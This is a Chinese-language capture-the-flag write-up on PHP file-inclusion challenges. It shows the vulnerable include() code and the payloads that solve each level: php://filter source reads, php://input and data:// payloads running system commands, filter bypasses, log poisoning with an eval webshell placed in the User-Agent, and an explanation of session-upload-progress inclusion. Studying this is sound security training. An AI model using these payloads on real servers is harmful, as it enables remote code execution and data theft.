文件包含web78-web81
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
- 看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
- file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
- 而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}
php://input伪协议
- str_replace()函数把php替换成了???
- php伪协议大小写可以绕过,使用php://input伪协议
构造payload:(注意是大写的PHP)
?file=Php://input
再post:<?php system("tac flag.php");?>
data协议
- 或者使用data协议直接进行代码执行
构造payload:
?file=data://text/plain,<?=system("tac%20flag.php");?>
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}
php://input伪协议
- 把data过滤了,就不能用data协议了,可以继续使用上题php:input协议
构造payload:(注意是大写的PHP)
?file=Php://input
再post:<?php system("tac flag.php");?>
日志包含绕过
日志文件在?file=/var/log/nginx/access.log,一句话写入UA
构造payload:
?file=/var/log/nginx/access.log
修改UA为:<?php @eval($_REQUEST[1])?>
1=system("ls");
1=system("tac fl0g.php");
web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
访问日志文件,日志的路径及组成没变,解法和上一题相同
web82(没完全理解)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}
- 日志包含使用不了,我们使用session文件包含,先了解一些知识点,在php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off
第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
- 简而言之,我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
- linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
- 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。并产生一个键值,为prefix+name的值,最后被写入sess_文件里
- 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass